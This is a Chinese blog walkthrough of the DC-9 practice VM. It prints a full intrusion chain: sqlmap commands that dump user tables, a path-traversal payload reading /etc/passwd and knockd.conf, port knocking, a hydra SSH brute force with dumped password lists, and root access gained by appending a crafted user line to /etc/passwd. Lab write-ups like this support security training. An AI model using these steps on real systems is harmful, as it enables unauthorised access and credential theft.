当前位置:网站首页>DC-9靶场下载及渗透实战详细过程(DC靶场系列)
DC-9靶场下载及渗透实战详细过程(DC靶场系列)
2022-08-10 22:11:00 【金 帛】
目录
DC-9靶场下载地址https://www.five86.com/downloads/DC-9.zip
一. 信息收集
1. 主机扫描
2. 端口扫描
注意到ssh服务端口是filtered的,可能是什么原因给关掉了
3. 目录扫描
dirsearch -u 192.168.120.144 -e * -x 403 --random-agent
4. 页面探测
测试发现,Search页面搜索存在SQL注入
二. 渗透过程
1. SQL注入
知道注入点,接下来上sqlmap跑,POST传参search,爆库
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db
爆表
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables
爆字段
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns
爆值
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump
只有一位用户,还有密码,这密码一看就是md5,接下来找个在线网站解密md5在线加密解密
得到密码transorbital1
2. 登入后台
接着用该密码登入后台
就多了个Add Record界面,注意到下面有File does not exist,考虑存在文件包含,接着用参数fuzz测试一下,fuzz字典连接web渗透通用fuzz字典(小而精)
burpsuite抓包,构建payload
?§§=../../../../../etc/passwd
然后再把我们的参数字典加载进来
参数名是file,存在文件包含漏洞
3. 端口敲门服务
考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件
构造payload
/addrecord.php?file=../../../../../etc/knockd.conf
果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击
nc -z 192.168.120.144 7469 8475 9842
敲击完后发现端口打开了
4. ssh爆破
无奈测试了一下admin登不上去,想起之前SQLmap跑出过一个users的数据库
存放网站用户信息的,我们去瞧一下
sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump
用这些账号密码组成字典,爆破ssh
username.txt
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
password.txt
3kfs86sfd 468sfdfsd2 4sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
接下来用九头蛇进行爆破
hydra -L username.txt -P password.txt ssh://192.168.120.144
爆破出了三个用户
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
尝试登入发现janitor用户有东西
ls -la
cd .s*
cat *
有几个密码,复制到刚才的password文件继续爆破ssh
password.txt
BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts
爆破出了一个新用户
fredf:B4-Tru3-001
发现有个root权限文件
5. 提权
test文件打开是一堆乱码,应该是一个程序
在上两级目录发现test.py文件还有test.spec文件,所以后面目录下的test程序应该就是根据test.py文件写的(额,可以理解为C语言写的一个exe程序吧!?),我们打开文件看一下test程序是干嘛的
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面
我们可以根据任意文件写入的操作,去新添加一个root权限的用户,达到提权的效果,跟DC-4靶场一样的操作,只不过得添加一个有密码的用户,事先参考/etc/passwd解释
先利用openssl命令创建一个密码
openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt hack hack
得到hash密码,$1$hack$xR6zsfvpez/t8teGRRSNr.
接着到tmp目录新建一个文件
cd /tmp
echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack
再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面
cd /opt/devstuff/dist/test
sudo ./test /tmp/hack /etc/passwd
可以看到hack用户已经添加到/etc/passwd文件里了,接下来切换用户
su hack
输入密码hack
在root目录下找到flag
三. 收获总结
1. openssl命令
openssl是个密文生成器, 参考openssl命令详解,如生成Linux系统的密文可以用命令
openssl passwd -1 -salt <用户名> <密码>
2. Linux系统下的引号
单引号会自动对字符进行转义,双引号不会对字符进行转义,不明白很容易就吃了echo的亏,参考Linux系统下的引号
边栏推荐
- Why general company will say "go back messages such as" after the end of the interview, rather than just tell the interviewer the result?
- 3598. 二叉树遍历(华中科技大学考研机试题)
- 《DevOps围炉夜话》- Pilot - CNCF开源DevOps项目DevStream简介 - feat. PMC成员胡涛
- BM13 determines whether a linked list is a palindrome
- A shell script the for loop statements, while statement
- 爬虫request.get()出现错误
- MySQL Advanced Commands
- August 10, 2022: Building Web Applications for Beginners with ASP.NET Core -- Creating Web UIs with ASP.NET Core
- 2021IDEA创建web工程
- 68:第六章:开发文章服务:1:内容梳理;article表介绍;创建【article】文章服务;
猜你喜欢
Power system power flow calculation (Newton-Raphson method, Gauss-Seidel method, fast decoupling method) (Matlab code implementation)
Why general company will say "go back messages such as" after the end of the interview, rather than just tell the interviewer the result?
Redis
IM 即时通讯开发如何设计图片文件的服务端存储架构
Shell programming specification and variables
服务——DHCP原理与配置
Merge k sorted linked lists
QT笔记——用VS + qt 生成dll 和 调用生成的dll
Qualcomm Platform Development Series Explanation (Application) Introduction to QCMAP Application Framework
shell (text printing tool awk)
随机推荐
shell编程之正则表达式与文本处理器
Redis
Regular expression of shell programming and text processor
Use Cloudreve to build a private cloud disk
水果沙拉酱
【开源教程5】疯壳·开源编队无人机-飞控固件烧写
12 Recurrent Neural Network RNN2 of Deep Learning
Spark基础【RDD转换算子】
高通平台开发系列讲解(应用篇)QCMAP应用框架介绍
RK3399平台开发系列讲解(内核驱动外设篇)6.35、IAM20680陀螺仪介绍
LeetCode每日两题01:反转字符串 (均1200道)方法:双指针
Extended Chinese Remainder Theorem
Power system power flow calculation (Newton-Raphson method, Gauss-Seidel method, fast decoupling method) (Matlab code implementation)
2022.8.8 Selected Lectures on Good Topics (Number Theory Field)
威纶通触摸屏如何在报警的同时,显示出异常数据的当前值?
STL-deque
留言有奖|OpenBMB x 清华大学NLP:大模型公开课更新完结!
What are the concepts, purposes, processes, and testing methods of interface testing?
xshell (sed command)
The perfect alternative to domestic Gravatar avatars Cravatar